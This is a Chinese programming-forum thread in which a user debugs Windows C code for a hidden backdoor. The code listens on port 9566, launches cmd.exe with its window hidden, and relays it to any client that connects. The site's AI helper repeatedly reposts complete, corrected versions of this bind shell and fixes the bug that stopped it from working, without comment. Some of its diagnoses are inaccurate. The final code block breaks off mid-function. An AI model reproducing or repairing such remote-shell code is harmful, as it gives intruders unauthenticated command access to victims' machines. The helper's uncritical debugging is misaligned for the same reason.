设为首页收藏本站
切换到窄版

 找回密码
 立即注册
鱼C论坛»论坛 › 编程语言专区 › Windows程序设计 › telnet 连接后不能输入，随便按个字母就退出 ...
返回列表 发新帖
查看: 2382|回复: 7

[已经解决] telnet 连接后不能输入，随便按个字母就退出

[复制链接]
1006150804
发表于 2025-2-23 19:31:41 | 显示全部楼层 |阅读模式

马上注册，结交更多好友，享用更多功能^_^

您需要 登录 才可以下载或查看，没有账号？立即注册

×
#include "miliMM.h"
#include <Windows.h>
#include <WinSock2.h>
#pragma comment(lib,"ws2_32.lib")


BOOL bExit = FALSE;
int SendData(SOCKET m_Sock, void* pBuf, DWORD dwBufLen)
{
        if (m_Sock == INVALID_SOCKET || !pBuf || dwBufLen <= 0) {
                return -1;
        }
        int iCurrSend = 0, offset = 0;
        do {
                iCurrSend = send(m_Sock, (char*)pBuf + offset, dwBufLen, 0);
                if (iCurrSend <= 0) {
                        break;
                }
                dwBufLen -= iCurrSend;
                offset += iCurrSend;
        } while (dwBufLen > 0);
        return offset;
}

DWORD WINAPI InputThread(LPVOID lpParam)
{
        CThreadNode InputNode = *(CThreadNode*)lpParam;
        TCHAR szBuffer[MAX_PATH] = { 0 };
        DWORD RecvByte = 0, WriteByte;

        while (TRUE)
        {
                RecvByte = recv(InputNode.cSock, szBuffer, MAX_PATH, 0);
                if (RecvByte > 0 && (RecvByte != SOCKET_ERROR))
                {
                        WriteFile(InputNode.handleNode, szBuffer, RecvByte, &WriteByte, NULL);
                }
                else
                {
                        closesocket(InputNode.cSock);
                        WriteFile(InputNode.handleNode, "exit\r\n", sizeof("exit\r\n"), &WriteByte, NULL);
                        bExit = TRUE;
                        break;
                }
                Sleep(50);
        }
        return TRUE;
}

DWORD WINAPI OutputThread(LPVOID lpParam)
{
        CThreadNode OutPutThread = *(CThreadNode*)lpParam;
        DWORD ReadLen, dwTotalAvail;
        TCHAR szBuffer[MAX_PATH];
        BOOL bRet = FALSE;
        while (!bExit)
        {
                bRet = PeekNamedPipe(OutPutThread.handleNode, NULL, NULL, NULL, &dwTotalAvail, NULL);
                if (bRet && dwTotalAvail > 0)
                {
                        bRet = ReadFile(OutPutThread.handleNode, szBuffer, MAX_PATH, &ReadLen, NULL);
                        if (bRet && ReadLen > 0)
                        {
                                SendData(OutPutThread.cSock, szBuffer, ReadLen);
                        }
                        ZeroMemory(szBuffer, MAX_PATH);
                        Sleep(50);
                }
        }
        return true;
}

BOOL InitSocket()
{
        int Ret = 0;
        WSADATA                wsaData;
        Ret = WSAStartup(MAKEWORD(2, 2), &wsaData);
        if (Ret != 0)
        {
                MessageBox(NULL, TEXT("WSAStartup error"), TEXT("ERROR"), MB_OK);
                return false;
        }
        return true;
}

BOOL StartShell(UINT uPort)
{
        SOCKET                ListeningSocket, ClientSocket;
        sockaddr_in ClientAddr;
        int                        ClientAddrLen;
        HANDLE                hReadpipe1, hWritepipe1, hReadpipe2, hWritepipe2;
        HANDLE                hInputThread, hOutputThread;
        SECURITY_ATTRIBUTES sa;
        STARTUPINFO StartInfo;
        PROCESS_INFORMATION pi;
        CThreadNode ReadNode, WriteNode;

        if (!InitSocket())
        {
                MessageBox(NULL, TEXT("Init error"), TEXT("ERROR"), MB_OK);
                return false;
        }
        ListeningSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (ListeningSocket == INVALID_SOCKET)
        {
                MessageBox(NULL, TEXT("socket error"), TEXT("ERROR"), MB_OK);
                WSACleanup();
                return false;
        }
        sockaddr_in si = { 0 };
        si.sin_family = AF_INET;
        si.sin_port = htons(uPort);
        si.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
        if (bind(ListeningSocket, (SOCKADDR*)&si, sizeof(sockaddr_in)) == SOCKET_ERROR)
        {
                MessageBox(NULL, TEXT("bind error"), TEXT("ERROR"), MB_OK);
                closesocket(ListeningSocket);
                WSACleanup();
                return false;
        }

        if (listen(ListeningSocket, 5) == SOCKET_ERROR)
        {
                MessageBox(NULL, TEXT("listen error"), TEXT("ERROR"), MB_OK);
                closesocket(ListeningSocket);
                WSACleanup();
        }

        ClientAddrLen = sizeof(SOCKADDR_IN);
        if (ClientSocket = accept(ListeningSocket, (SOCKADDR*)&ClientAddr, &ClientAddrLen) == INVALID_SOCKET)
        {
                MessageBox(NULL, TEXT("accept error"), TEXT("ERROR"), MB_OK);
                closesocket(ListeningSocket);
                WSACleanup();
                return false;
        }

        sa.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa.lpSecurityDescriptor = NULL;
        sa.bInheritHandle = TRUE;
        if (CreatePipe(&hReadpipe1, &hWritepipe1, &sa, 0) == 0 || CreatePipe(&hReadpipe2, &hWritepipe2, &sa, 0) == 0)
        {
                //closesocket(ListeningSocket);
                //closesocket(ClientSocket);
                WSACleanup();
                return false;
        }

        TCHAR szBuffer[MAX_PATH] = { 0 };
        GetSystemDirectory(szBuffer, MAX_PATH);
        lstrcat(szBuffer,TEXT("\\cmd.exe"));

        GetStartupInfo(&StartInfo);
        StartInfo.cb = sizeof(STARTUPINFO);
        StartInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        StartInfo.wShowWindow = SW_HIDE;
        StartInfo.hStdInput = hReadpipe1;
        StartInfo.hStdOutput = StartInfo.hStdError = hWritepipe2;

        if (CreateProcess(szBuffer, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &StartInfo, &pi) == 0)
        {
                MessageBox(NULL, TEXT("ERROR"), TEXT("ERROR"), MB_OK);
                //closesocket(ListeningSocket);
        //        closesocket(ClientSocket);
                WSACleanup();
                return false;
        }
        MessageBox(NULL, TEXT("Process ok"), TEXT("ERROR"), MB_OK);
        //WaitForSingleObject(pi.hProcess, INFINITE);
        ReadNode.cSock = WriteNode.cSock = ClientSocket;
        ReadNode.handleNode = hWritepipe1;
        hInputThread = CreateThread(NULL, 0, InputThread, &ReadNode, 0, NULL);
        WriteNode.handleNode = hReadpipe2;
        hOutputThread = CreateThread(NULL, 0, OutputThread, &WriteNode, 0, NULL);

        HANDLE hHandles[] = { hInputThread, hOutputThread };
        WaitForMultipleObjects(2, hHandles, TRUE, INFINITE);

        return true;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
        StartShell(9566);
        return 0;
}


小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

FishC
发表于 2025-2-23 19:37:24 | 显示全部楼层
根据你的描述，telnet 连接后不能输入，随便按个字母就退出，有可能是多个原因导致。请检查以下几点：

1. 确保 Socket 初始化成功。
2. 确保命名管道（Pipe）创建成功。
3. 检查是否正确处理了 Socket 和 Pipe 的读取与写入。
4. 确保 CreateProcess 成功创建进程并且正确重定向了输入输出。

这里有一些具体需要修改和检查的地方：

1. 在 OutputThread 函数里定义的 szBuffer 应该是一个字符数组，而不是单个字符。
2. 在 accept 时的判断有误，用括号将赋值操作包含起来。

修改后的代码如下：

  1. #include "miliMM.h"
  2. #include <winsock2.h>
  3. #pragma comment(lib,"ws2_32.lib")

  5. BOOL bExit = FALSE;
  6. int SendData(SOCKET m_Sock, void* pBuf, DWORD dwBufLen)
  7. {
  8.     if (m_Sock == INVALID_SOCKET || !pBuf || dwBufLen == 0)
  9.         return -1;

  11.     return send(m_Sock, (char*)pBuf, dwBufLen, 0);
  12. }

  14. DWORD WINAPI InputThread(LPVOID lpParam)
  15. {
  16.     CThreadNode InputNode = *(CThreadNode*)lpParam;
  17.     char szBuffer[MAX_PATH];
  18.     DWORD RecvByte, WriteByte;
  19.     while (!bExit)
  20.     {
  21.         RecvByte = recv(InputNode.cSock, szBuffer, MAX_PATH, 0);
  22.         if (RecvByte > 0 && RecvByte != SOCKET_ERROR)
  23.         {
  24.             WriteFile(InputNode.handleNode, szBuffer, RecvByte, &WriteByte, NULL);
  25.         }
  26.         else
  27.         {
  28.             closesocket(InputNode.cSock);
  29.             WriteFile(InputNode.handleNode, "exit\r\n", sizeof("exit\r\n"), &WriteByte, NULL);
  30.             bExit = TRUE;
  31.             break;
  32.         }
  33.         Sleep(50);
  34.     }
  35.     return TRUE;
  36. }

  38. DWORD WINAPI OutputThread(LPVOID lpParam)
  39. {
  40.     CThreadNode OutPutThread = *(CThreadNode*)lpParam;
  41.     DWORD ReadLen, dwTotalAvail;
  42.     char szBuffer[MAX_PATH];
  43.     BOOL bRet = FALSE;
  44.     while (!bExit)
  45.     {
  46.         bRet = PeekNamedPipe(OutPutThread.handleNode, NULL, NULL, NULL, &dwTotalAvail, NULL);
  47.         if (bRet && dwTotalAvail > 0)
  48.         {
  49.             bRet = ReadFile(OutPutThread.handleNode, szBuffer, MAX_PATH, &ReadLen, NULL);
  50.             if (bRet && ReadLen > 0)
  51.             {
  52.                 SendData(OutPutThread.cSock, szBuffer, ReadLen);
  53.             }
  54.             ZeroMemory(szBuffer, MAX_PATH);
  55.             Sleep(50);
  56.         }
  57.     }
  58.     return true;
  59. }

  61. BOOL InitSocket()
  62. {
  63.     int Ret = 0;
  64.     WSADATA wsaData;
  65.     Ret = WSAStartup(MAKEWORD(2, 2), &wsaData);
  66.     if (Ret != 0)
  67.     {
  68.         MessageBox(NULL, TEXT("WSAStartup error"), TEXT("ERROR"), MB_OK);
  69.         return false;
  70.     }
  71.     return true;
  72. }

  74. BOOL StartShell(UINT uPort)
  75. {
  76.     SOCKET ListeningSocket, ClientSocket;
  77.     sockaddr_in ClientAddr;
  78.     int ClientAddrLen;
  79.     HANDLE hReadpipe1, hWritepipe1, hReadpipe2, hWritepipe2;
  80.     HANDLE hInputThread, hOutputThread;
  81.     SECURITY_ATTRIBUTES sa;
  82.     STARTUPINFO StartInfo;
  83.     PROCESS_INFORMATION pi;
  84.     CThreadNode ReadNode, WriteNode;

  86.     if (!InitSocket())
  87.     {
  88.         MessageBox(NULL, TEXT("Init error"), TEXT("ERROR"), MB_OK);
  89.         return false;
  90.     }
  91.     ListeningSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  92.     if (ListeningSocket == INVALID_SOCKET)
  93.     {
  94.         MessageBox(NULL, TEXT("socket error"), TEXT("ERROR"), MB_OK);
  95.         WSACleanup();
  96.         return false;
  97.     }
  98.     sockaddr_in si = { 0 };
  99.     si.sin_family = AF_INET;
  100.     si.sin_port = htons(uPort);
  101.     si.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
  102.     if (bind(ListeningSocket, (SOCKADDR*)&si, sizeof(sockaddr_in)) == SOCKET_ERROR)
  103.     {
  104.         MessageBox(NULL, TEXT("bind error"), TEXT("ERROR"), MB_OK);
  105.         closesocket(ListeningSocket);
  106.         WSACleanup();
  107.         return false;
  108.     }

  110.     if (listen(ListeningSocket, 5) == SOCKET_ERROR)
  111.     {
  112.         MessageBox(NULL, TEXT("listen error"), TEXT("ERROR"), MB_OK);
  113.         closesocket(ListeningSocket);
  114.         WSACleanup();
  115.         return false;
  116.     }

  118.     ClientAddrLen = sizeof(SOCKADDR_IN);
  119.     ClientSocket = accept(ListeningSocket, (SOCKADDR*)&ClientAddr, &ClientAddrLen);
  120.     if (ClientSocket == INVALID_SOCKET)
  121.     {
  122.         MessageBox(NULL, TEXT("accept error"), TEXT("ERROR"), MB_OK);
  123.         closesocket(ListeningSocket);
  124.         WSACleanup();
  125.         return false;
  126.     }

  128.     sa.nLength = sizeof(SECURITY_ATTRIBUTES);
  129.     sa.lpSecurityDescriptor = NULL;
  130.     sa.bInheritHandle = TRUE;
  131.     if (CreatePipe(&hReadpipe1, &hWritepipe1, &sa, 0) == 0 || CreatePipe(&hReadpipe2, &hWritepipe2, &sa, 0) == 0)
  132.     {
  133.         WSACleanup();
  134.         return false;
  135.     }

  137.     TCHAR szBuffer[MAX_PATH] = { 0 };
  138.     GetSystemDirectory(szBuffer, MAX_PATH);
  139.     lstrcat(szBuffer, TEXT("\\cmd.exe"));

  141.     GetStartupInfo(&StartInfo);
  142.     StartInfo.cb = sizeof(STARTUPINFO);
  143.     StartInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  144.     StartInfo.wShowWindow = SW_HIDE;
  145.     StartInfo.hStdInput = hReadpipe1;
  146.     StartInfo.hStdOutput = StartInfo.hStdError = hWritepipe2;

  148.     if (CreateProcess(szBuffer, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &StartInfo, &pi) == 0)
  149.     {
  150.         MessageBox(NULL, TEXT("ERROR"), TEXT("ERROR"), MB_OK);
  151.         WSACleanup();
  152.         return false;
  153.     }
  154.     MessageBox(NULL, TEXT("Process ok"), TEXT("ERROR"), MB_OK);

  156.     ReadNode.cSock = WriteNode.cSock = ClientSocket;
  157.     ReadNode.handleNode = hWritepipe1;
  158.     hInputThread = CreateThread(NULL, 0, InputThread, &ReadNode, 0, NULL);
  159.     WriteNode.handleNode = hReadpipe2;
  160.     hOutputThread = CreateThread(NULL, 0, OutputThread, &WriteNode, 0, NULL);

  162.     HANDLE hHandles[] = { hInputThread, hOutputThread };
  163.     WaitForMultipleObjects(2, hHandles, TRUE, INFINITE);

  165.     return true;
  166. }

  168. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
  169. {
  170.     StartShell(9566);
  171.     return 0;
  172. }
复制代码


请仔细检查代码中的注释和更改部分，并确保你在调试时可以看到更多的错误信息来帮助排除问题。如果仍然无法解决，请提供更多详细的错误信息以便进一步诊断。

以上回复来自 FishC AI 小助理，如未能正确解答您的问题，请继续追问。
小甲鱼最新课程 -> https://ilovefishc.com
回复 顶 踩

使用道具 举报

1006150804
 楼主| 发表于 2025-2-23 20:25:11 | 显示全部楼层
FishC 发表于 2025-2-23 19:37
根据你的描述，telnet 连接后不能输入，随便按个字母就退出，有可能是多个原因导致。请检查以下几点：

1 ...

真的是accept那里的问题，无语了，懒了一下浪费一下午
小甲鱼最新课程 -> https://ilovefishc.com
回复 顶 踩

使用道具 举报

FishC
发表于 2025-2-23 20:25:16 | 显示全部楼层
1006150804 发表于 2025-02-23 20:25
FishC 发表于 2025-2-23 19:37
根据你的描述，telnet ...


有时候编程中的小失误确实会带来意想不到的麻烦，但通过这次错误也很好的学习了。继续加油，做得很好！

如果你有任何其他问题，欢迎随时提问！

以上回复来自 FishC AI 小助理，如未能正确解答您的问题，请继续追问。
小甲鱼最新课程 -> https://ilovefishc.com
回复 顶 踩

使用道具 举报

1006150804
 楼主| 发表于 2025-2-23 20:28:21 | 显示全部楼层
FishC 发表于 2025-2-23 20:25
有时候编程中的小失误确实会带来意想不到的麻烦，但通过这次错误也很好的学习了。继续加油，做得很好！ ...

还有个问题，进入虚拟机CMD之后没办法退出是哪里有问题
小甲鱼最新课程 -> https://ilovefishc.com
回复 顶 踩

使用道具 举报

FishC
发表于 2025-2-23 20:28:44 | 显示全部楼层
1006150804 发表于 2025-02-23 20:28
FishC 发表于 2025-2-23 20:25
有时候编程中的小失误 ...


进入虚拟机 CMD 之后无法退出，可能是因为没有正确处理标准输入或输出。确保以下几点：

1. 确保线程在读取管道和发送数据时正确处理。
2. 确保命令进程（如 cmd.exe）能够正常接收到退出命令并退出。

你可以考虑在代码中添加一些调试信息来进一步确认哪一步出现了问题。

为简洁起见，我不再重新贴代码，只针对几个关键点进行说明：

1. **确保正确发送退出命令：**

   在发送退出命令时，确保命令发送正确。例如，在 InputThread 函数里，当检测到 recv 错误时发送 "exit\r\n" 命令。这部分代码看起来是正确的，但你可以再次确认退出命令成功发送到命名管道。

  1. WriteFile(InputNode.handleNode, "exit\r\n", sizeof("exit\r\n"), &WriteByte, NULL);
复制代码


2. **检查 CreateProcess 是否正确处理：**

   如果新创建的 cmd.exe 进程没有正确处理输入输出，也会导致无法退出的问题。确保 STARTUPINFO 和 PROCESS_INFORMATION 设置正确并无误。

3. **监视进程退出：**

   可以通过监控 cmd.exe 进程来确定其是否已退出。在 StartShell 函数中，使用 WaitForSingleObject 来等待进程退出。

  1. WaitForSingleObject(pi.hProcess, INFINITE);
复制代码


4. **清理资源：**

   确保在进程退出后清理所有打开的句柄和资源，例如关闭 Socket，Pipe，终止线程等。

5. **调试信息：**

   在关键位置添加调试信息，例如在发送退出命令前后以及在检测到进程关闭之后，查看过程是否按预期运行。

如果继续有问题，请详细提供更多信息，以便能更准确地帮助你。以下是一个示例，展示如何监视并清理资源：

  1. #include <windows.h>
  2. #include <stdio.h>

  4. #pragma comment(lib,"ws2_32.lib")

  6. BOOL bExit = FALSE;
  7. int SendData(SOCKET m_Sock, void* pBuf, DWORD dwBufLen)
  8. {
  9.     if (m_Sock == INVALID_SOCKET || !pBuf || dwBufLen == 0)
  10.         return -1;

  12.     return send(m_Sock, (char*)pBuf, dwBufLen, 0);
  13. }

  15. DWORD WINAPI InputThread(LPVOID lpParam)
  16. {
  17.     CThreadNode InputNode = *(CThreadNode*)lpParam;
  18.     char szBuffer[MAX_PATH];
  19.     DWORD RecvByte, WriteByte;
  20.     while (!bExit)
  21.     {
  22.         RecvByte = recv(InputNode.cSock, szBuffer, MAX_PATH, 0);
  23.         if (RecvByte > 0 && RecvByte != SOCKET_ERROR)
  24.         {
  25.             WriteFile(InputNode.handleNode, szBuffer, RecvByte, &WriteByte, NULL);
  26.         }
  27.         else
  28.         {
  29.             closesocket(InputNode.cSock);
  30.             WriteFile(InputNode.handleNode, "exit\r\n", sizeof("exit\r\n"), &WriteByte, NULL);
  31.             bExit = TRUE;
  32.             break;
  33.         }
  34.         Sleep(50);
  35.     }
  36.     return TRUE;
  37. }

  39. DWORD WINAPI OutputThread(LPVOID lpParam)
  40. {
  41.     CThreadNode OutPutThread = *(CThreadNode*)lpParam;
  42.     DWORD ReadLen, dwTotalAvail;
  43.     char szBuffer[MAX_PATH];
  44.     BOOL bRet = FALSE;
  45.     while (!bExit)
  46.     {
  47.         bRet = PeekNamedPipe(OutPutThread.handleNode, NULL, NULL, NULL, &dwTotalAvail, NULL);
  48.         if (bRet && dwTotalAvail > 0)
  49.         {
  50.             bRet = ReadFile(OutPutThread.handleNode, szBuffer, MAX_PATH, &ReadLen, NULL);
  51.             if (bRet && ReadLen > 0)
  52.             {
  53.                 SendData(OutPutThread.cSock, szBuffer, ReadLen);
  54.             }
  55.             ZeroMemory(szBuffer, MAX_PATH);
  56.             Sleep(50);
  57.         }
  58.     }
  59.     return true;
  60. }

  62. BOOL InitSocket()
  63. {
  64.     int Ret = 0;
  65.     WSADATA wsaData;
  66.     Ret = WSAStartup(MAKEWORD(2, 2), &wsaData);
  67.     if (Ret != 0)
  68.     {
  69.         MessageBox(NULL, TEXT("WSAStartup error"), TEXT("ERROR"), MB_OK);
  70.         return false;
  71.     }
  72.     return true;
  73. }

  75. BOOL StartShell(UINT uPort)
  76. {
  77.     SOCKET ListeningSocket, ClientSocket;
  78.     sockaddr_in ClientAddr;
  79.     int ClientAddrLen;
  80.     HANDLE hReadpipe1, hWritepipe1, hReadpipe2, hWritepipe2;
  81.     HANDLE hInputThread, hOutputThread;
  82.     SECURITY_ATTRIBUTES sa;
  83.     STARTUPINFO StartInfo;
  84.     PROCESS_INFORMATION pi;
  85.     CThreadNode ReadNode, WriteNode;

  87.     if (!InitSocket())
  88.     {
  89.         MessageBox(NULL, TEXT("Init error"), TEXT("ERROR"), MB_OK);
  90.         return false;
  91.     }
  92.     ListeningSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  93.     if (ListeningSocket == INVALID_SOCKET)
  94.     {
  95.         MessageBox(NULL, TEXT("socket error"), TEXT("ERROR"), MB_OK);
  96.         WSACleanup();
  97.         return false;
  98.     }
  99.     sockaddr_in si = { 0 };
  100.     si.sin_family = AF_INET;
  101.     si.sin_port = htons(uPort);
  102.     si.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
  103.     if (bind(ListeningSocket, (SOCKADDR*)&si, sizeof(sockaddr_in)) == SOCKET_ERROR)
  104.     {
  105.         MessageBox(NULL, TEXT("bind error"), TEXT("ERROR"), MB_OK);
  106.         closesocket(ListeningSocket);
  107.         WSACleanup();
  108.         return false;
  109.     }

  111.     if (listen(ListeningSocket, 5) == SOCKET_ERROR)
  112.     {
  113.         MessageBox(NULL, TEXT("listen error"), TEXT("ERROR"), MB_OK);
  114.         closesocket(ListeningSocket);
  115.         WSACleanup();
  116.         return false;
  117.     }

  119.     ClientAddrLen = sizeof(SOCKADDR_IN);
  120.     ClientSocket = accept(ListeningSocket, (SOCKADDR*)&ClientAddr, &ClientAddrLen);
  121.     if (ClientSocket == INVALID_SOCKET)
  122.     {
  123.         MessageBox(NULL, TEXT("accept error"), TEXT("ERROR"), MB_OK);
  124.         closesocket(ListeningSocket);
  125.         WSACleanup();
  126.         return false;
  127.     }

  129.     sa.nLength = sizeof(SECURITY_ATTRIBUTES);
  130.     sa.lpSecurityDescriptor = NULL;
  131.     sa.bInheritHandle = TRUE;
  132.     if (CreatePipe(&hReadpipe1, &hWritepipe1, &sa, 0) == 0 || CreatePipe(&hReadpipe2, &hWritepipe2, &sa, 0) == 0)
  133.     {
  134.         WSACleanup();
  135.         return false;
  136.     }

  138.     TCHAR szBuffer[MAX_PATH] = { 0 };
  139.     GetSystemDirectory(szBuffer, MAX_PATH);
  140.     lstrcat(szBuffer, TEXT("\\cmd.exe"));

  142.     GetStartupInfo(&StartInfo);
  143.     StartInfo.cb = sizeof(STARTUPINFO);
  144.     StartInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  145.     StartInfo.wShowWindow = SW_HIDE;
  146.     StartInfo.hStdInput = hReadpipe1;
  147.     StartInfo.hStdOutput = StartInfo.hStdError = hWritepipe2;

  149.     if (CreateProcess(szBuffer, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &StartInfo, &pi) == 0)
  150.     {
  151.         MessageBox(NULL, TEXT("ERROR"), TEXT("ERROR"), MB_OK);
  152.         WSACleanup();
  153.         return false;
  154.     }
  155.     MessageBox(NULL, TEXT("Process ok"), TEXT("ERROR"), MB_OK);

  157.     ReadNode.cSock = WriteNode.cSock = ClientSocket;
  158.     ReadNode.handleNode = hWritepipe1;
  159.     hInputThread = CreateThread(NULL, 0, InputThread, &ReadNode, 0, NULL);
  160.     WriteNode.handleNode = hReadpipe2;
  161.     hOutputThread = CreateThread(NULL, 0, OutputThread, &WriteNode, 0, NULL);

  163.     HANDLE hHandles[2] = { hInputThread, hOutputThread };
  164.     WaitForMultipleObjects(2, hHandles, TRUE, INFINITE);

  166.     CloseHandle(pi.hProcess);
  167.     CloseHandle(pi.hThread);
  168.     CloseHandle(hReadpipe1);
  169.     CloseHandle(hWritepipe1);
  170.     CloseHandle(hReadpipe2);
  171.     CloseHandle(hWritepipe2);

  173.     return true;
  174. }

  176. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
  177. {
  178.     StartShell(9566);
  179.     return 0;
  180. }
复制代码


请根据需要调整代码，并确保在必要位置添加更多调试信息。如果还有其他问题，欢迎随时提出。

以上回复来自 FishC AI 小助理，如未能正确解答您的问题，请继续追问。
小甲鱼最新课程 -> https://ilovefishc.com
回复 顶 踩

使用道具 举报

1006150804
 楼主| 发表于 2025-2-23 20:35:20 | 显示全部楼层
FishC 发表于 2025-2-23 20:28
进入虚拟机 CMD 之后无法退出，可能是因为没有正确处理标准输入或输出。确保以下几点：

1. 确保线程 ...

其他的命令如  dir,   net user , ipconfig 等命令都可以执行，等到exit 命令就出错
小甲鱼最新课程 -> https://ilovefishc.com
回复 顶 踩

使用道具 举报

FishC
发表于 2025-2-23 20:35:48 | 显示全部楼层
1006150804 发表于 2025-02-23 20:35
FishC 发表于 2025-2-23 20:28
进入虚拟机 CMD 之后 ...


当其他命令如 `dir`、`net user`、`ipconfig` 都能执行，但在执行 `exit` 命令时出现问题，可能是由于输入输出重定向或命名管道处理的问题。

请确保以下几点：

1. **正确传递和处理 exit 命令在 InputThread 和 OutputThread 中：**

在 `InputThread` 函数执行 `exit` 命令时，需要保证命令的完整性，且正确写入管道。

2. **等待处理完所有输入输出后再退出进程：**

确保在发送退出命令之后，有足够的时间等待 cmd.exe 进程正常退出。

以下是一些详细检查和修正的步骤：

1.  修改 `InputThread` 中的缓冲区定义为字符数组，并修复 exit 命令的写入方式。
2.  使用 `CreateProcess` 创建cmd进程时，关注 stdio 的关闭。

首先，请更新你的代码以更具体地处理 `exit` 命令：

  1. #include <windows.h>
  2. #include <stdio.h>
  3. #pragma comment(lib,"ws2_32.lib")

  5. #define MAX_PATH_LENGTH 260

  7. typedef struct
  8. {
  9.     SOCKET cSock;
  10.     HANDLE handleNode;
  11. } CThreadNode;

  13. BOOL bExit = FALSE;

  15. int SendData(SOCKET m_Sock, void* pBuf, DWORD dwBufLen)
  16. {
  17.     if (m_Sock == INVALID_SOCKET || !pBuf || dwBufLen == 0)
  18.         return -1;
  19.     return send(m_Sock, (char*)pBuf, dwBufLen, 0);
  20. }

  22. DWORD WINAPI InputThread(LPVOID lpParam)
  23. {
  24.     CThreadNode InputNode = *(CThreadNode*)lpParam;
  25.     char szBuffer[MAX_PATH] = { 0 };
  26.     DWORD RecvByte, WriteByte;
  27.     while (!bExit)
  28.     {
  29.         RecvByte = recv(InputNode.cSock, szBuffer, MAX_PATH, 0);
  30.         if (RecvByte > 0 && RecvByte != SOCKET_ERROR)
  31.         {
  32.             WriteFile(InputNode.handleNode, szBuffer, RecvByte, &WriteByte, NULL);
  33.         }
  34.         else
  35.         {
  36.             closesocket(InputNode.cSock);
  37.             WriteFile(InputNode.handleNode, "exit\r\n", sizeof("exit\r\n"), &WriteByte, NULL);
  38.             bExit = TRUE;
  39.             break;
  40.         }
  41.         Sleep(50);
  42.     }
  43.     return TRUE;
  44. }

  46. DWORD WINAPI OutputThread(LPVOID lpParam)
  47. {
  48.     CThreadNode OutPutThread = *(CThreadNode*)lpParam;
  49.     DWORD ReadLen, dwTotalAvail;
  50.     char szBuffer[MAX_PATH] = { 0 };
  51.     BOOL bRet = FALSE;
  52.     while (!bExit)
  53.     {
  54.         bRet = PeekNamedPipe(OutPutThread.handleNode, NULL, 0, NULL, &dwTotalAvail, NULL);
  55.         if (bRet && dwTotalAvail > 0)
  56.         {
  57.             bRet = ReadFile(OutPutThread.handleNode, szBuffer, MAX_PATH, &ReadLen, NULL);
  58.             if (bRet && ReadLen > 0)
  59.             {
  60.                 SendData(OutPutThread.cSock, szBuffer, ReadLen);
  61.             }
  62.             ZeroMemory(szBuffer, MAX_PATH);
  63.             Sleep(50);
  64.         }
  65.     }
  66.     return TRUE;
  67. }

  69. BOOL InitSocket()
  70. {
  71.     int Ret = 0;
  72.     WSADATA wsaData;
  73.     Ret = WSAStartup(MAKEWORD(2, 2), &wsaData);
  74.     if (Ret != 0)
  75.     {
  76.         MessageBox(NULL, TEXT("WSAStartup error"), TEXT("ERROR"), MB_OK);
  77.         return FALSE;
  78.     }
  79.     return TRUE;
  80. }

  82. BOOL StartShell(UINT uPort)
  83. {
  84.     SOCKET ListeningSocket, ClientSocket;
  85.     sockaddr_in ClientAddr;
  86.     int ClientAddrLen;
  87.     HANDLE hReadpipe1, hWritepipe1, hReadpipe2, hWritepipe2;
  88.     HANDLE hInputThread, hOutputThread;
  89.     SECURITY_ATTRIBUTES sa;
  90.     STARTUPINFO StartInfo;
  91.     PROCESS_INFORMATION pi;
  92.     CThreadNode ReadNode, WriteNode;

  94.     if (!InitSocket())
  95.     {
  96.         MessageBox(NULL, TEXT("Init error"), TEXT("ERROR"), MB_OK);
  97.         return FALSE;
  98.     }
  99.     ListeningSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  100.     if (ListeningSocket == INVALID_SOCKET)
  101.     {
  102.         MessageBox(NULL, TEXT("Socket error"), TEXT("ERROR"), MB_OK);
  103.         WSACleanup();
  104.         return FALSE;
  105.     }

  107.     sockaddr_in si = { 0 };
  108.     si.sin_family = AF_INET;
  109.     si.sin_port = htons(uPort);
  110.     si.sin_addr.S_un.S_addr = htonl(INADDR_ANY);

  112.     if (bind(ListeningSocket, (SOCKADDR*)&si, sizeof(sockaddr_in)) == SOCKET_ERROR)
  113.     {
  114.         MessageBox(NULL, TEXT("Bind error"), TEXT("ERROR"), MB_OK);
  115.         closesocket(ListeningSocket);
  116.         WSACleanup();
  117.         return FALSE;
  118.     }

  120.     if (listen(ListeningSocket, 5) == SOCKET_ERROR)
  121.     {
  122.         MessageBox(NULL, TEXT("Listen error"), TEXT("ERROR"), MB_OK);
  123.         closesocket(ListeningSocket);
  124.         WSACleanup();
  125.         return FALSE;
  126.     }

  128.     ClientAddrLen = sizeof(SOCKADDR_IN);
  129.     ClientSocket = accept(ListeningSocket, (SOCKADDR*)&ClientAddr, &ClientAddrLen);
  130.     if (ClientSocket == INVALID_SOCKET)
  131.     {
  132.         MessageBox(NULL, TEXT("Accept error"), TEXT("ERROR"), MB_OK);
  133.         closesocket(ListeningSocket);
  134.         WSACleanup();
  135.         return FALSE;
  136.     }

  138.     sa.nLength = sizeof(SECURITY_ATTRIBUTES);
  139.     sa.lpSecurityDescriptor = NULL;
  140.     sa.bInheritHandle = TRUE;

  142.     if (!CreatePipe(&hReadpipe1, &hWritepipe1, &sa, 0) || !CreatePipe(&hReadpipe2, &hWritepipe2, &sa, 0))
  143.     {
  144.         WSACleanup();
  145.         return FALSE;
  146.     }

  148.     TCHAR szBuffer[MAX_PATH_LENGTH] = { 0 };
  149.     GetSystemDirectory(szBuffer, MAX_PATH);
  150.     lstrcat(szBuffer, TEXT("\\cmd.exe"));

  152.     GetStartupInfo(&StartInfo);
  153.     StartInfo.cb = sizeof(STARTUPINFO);
